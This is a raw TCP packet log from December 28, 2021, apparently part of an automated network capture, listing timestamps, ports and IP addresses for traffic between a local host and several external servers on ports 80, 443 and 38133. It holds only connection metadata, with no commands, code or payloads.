Dec 28, 2021 05:19:45.502791882 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.502825975 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502865076 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502882004 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.502902985 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502909899 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.502943993 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502980947 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.502995014 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503021002 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503026009 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503061056 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503099918 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503129005 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503138065 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503139019 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503177881 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503194094 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503216028 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503228903 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503256083 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503262043 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503293991 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503321886 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503334045 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503339052 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503376007 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503386021 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503412962 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503431082 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503453016 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503457069 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503509998 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503525019 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503550053 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503588915 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503607988 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503629923 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503648996 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503670931 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503710032 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503725052 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503748894 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503765106 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503791094 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503830910 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503846884 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503869057 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503885031 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503909111 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503926992 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.503951073 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.503988981 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504019022 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504029036 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504029036 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504034996 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504069090 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504082918 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504108906 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504129887 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504152060 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504177094 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504189968 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504215956 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504245043 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504276037 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504283905 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504307032 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504323006 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504338026 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504363060 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504401922 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504419088 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504446030 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504446983 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504487991 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504501104 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504524946 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504549026 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504564047 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504568100 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504605055 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504617929 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504642963 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504651070 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504683018 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504692078 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504723072 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504761934 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504776001 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504801035 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504815102 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504838943 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504844904 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504893064 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.504905939 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504946947 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.504987001 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505026102 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505026102 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505065918 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505106926 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505110979 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505132914 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505147934 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505172968 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505188942 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505191088 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505227089 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505249023 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505266905 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505280972 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505307913 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505346060 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505367994 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505383968 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505413055 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505424023 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505436897 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505464077 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505479097 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505503893 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505518913 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505542040 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505568981 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505582094 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505594969 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505620956 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505667925 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505681038 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505707026 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505745888 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505779982 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505781889 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505820990 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505835056 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505858898 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505897045 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505916119 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505935907 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505954027 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.505975962 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.505990982 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.506016016 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.506053925 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.506076097 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.506089926 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.506103992 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.506129980 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.506148100 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.506170034 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.506208897 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.506223917 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.506248951 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.506263018 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.506285906 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.506325006 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.506340027 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.506364107 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.506401062 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.506424904 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.506438017 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.506444931 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.506478071 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.506567001 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.533528090 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.546571016 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.546631098 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.546673059 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.546711922 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.546725988 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.546751976 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.546777964 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.546792984 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.546811104 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.546834946 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.546857119 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.546878099 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.546885014 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.546916962 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.546933889 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.546957016 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.546963930 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.546993971 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547014952 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547034025 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547040939 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547072887 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547091007 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547113895 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547120094 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547156096 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547193050 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547216892 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547231913 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547246933 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547272921 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547290087 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547310114 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547348976 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547363997 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547389030 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547429085 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547444105 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547470093 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547508001 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547533035 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547545910 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547552109 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547585011 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547621965 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547646999 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547661066 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547671080 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547702074 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547736883 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547740936 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547756910 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547782898 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547821045 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547840118 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547851086 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547861099 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547880888 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547903061 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547929049 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547940016 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.547950029 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.547979116 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.548017025 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.548039913 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.548064947 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.566063881 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.566123962 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.566163063 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.566195965 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.566231012 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.566282988 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.566293001 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.593221903 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.593267918 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.593440056 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.593463898 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.607681036 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.607739925 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.607779980 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.607820034 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.607858896 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.607878923 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.607897997 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.607898951 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.607903957 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.607939005 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.607940912 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.607974052 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.607981920 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.607990026 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.608022928 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.608037949 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.608062029 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.608156919 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.720695019 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.753987074 CET	49861	80	192.168.2.3	194.180.174.53
Dec 28, 2021 05:19:46.449208975 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:46.695691109 CET	49835	38133	192.168.2.3	86.107.197.138
Dec 28, 2021 05:19:46.769377947 CET	38133	49835	86.107.197.138	192.168.2.3
Dec 28, 2021 05:19:46.824167967 CET	38133	49835	86.107.197.138	192.168.2.3
Dec 28, 2021 05:19:46.824256897 CET	38133	49835	86.107.197.138	192.168.2.3
Dec 28, 2021 05:19:46.824307919 CET	38133	49835	86.107.197.138	192.168.2.3
Dec 28, 2021 05:19:46.824398041 CET	49835	38133	192.168.2.3	86.107.197.138
Dec 28, 2021 05:19:47.551093102 CET	49863	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:47.617604971 CET	80	49863	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:47.618726969 CET	49863	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:47.618788004 CET	49863	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:47.618799925 CET	49863	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:47.685331106 CET	80	49863	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:47.755021095 CET	80	49863	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:47.755173922 CET	49863	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:47.755285025 CET	49863	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:47.785729885 CET	49864	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:47.822155952 CET	80	49863	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:47.853652954 CET	80	49864	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:47.853785992 CET	49864	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:47.853893042 CET	49864	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:47.853916883 CET	49864	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:47.922099113 CET	80	49864	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:47.972836018 CET	80	49864	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:47.972918034 CET	80	49864	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:47.974008083 CET	49864	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:47.977693081 CET	49864	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:48.001765966 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.001822948 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.001929998 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.002233982 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.002255917 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.041793108 CET	80	49864	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:48.252177954 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.252312899 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.254854918 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.254863024 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.255052090 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.255850077 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.296960115 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.474076986 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.474128962 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.474351883 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.474394083 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.590495110 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.590572119 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.590631962 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.590676069 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.590720892 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.590836048 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.590852022 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.590909958 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.590951920 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.590965033 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.592331886 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.633661032 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.633676052 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.633780956 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.633809090 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.633888960 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.707441092 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.707464933 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.707609892 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.707623959 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.707664967 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.707698107 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.707717896 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.707726002 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.707818985 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.707864046 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.707879066 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.707907915 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.707930088 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.708051920 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.708097935 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.708115101 CET	443	49865	155.248.231.246	192.168.2.3
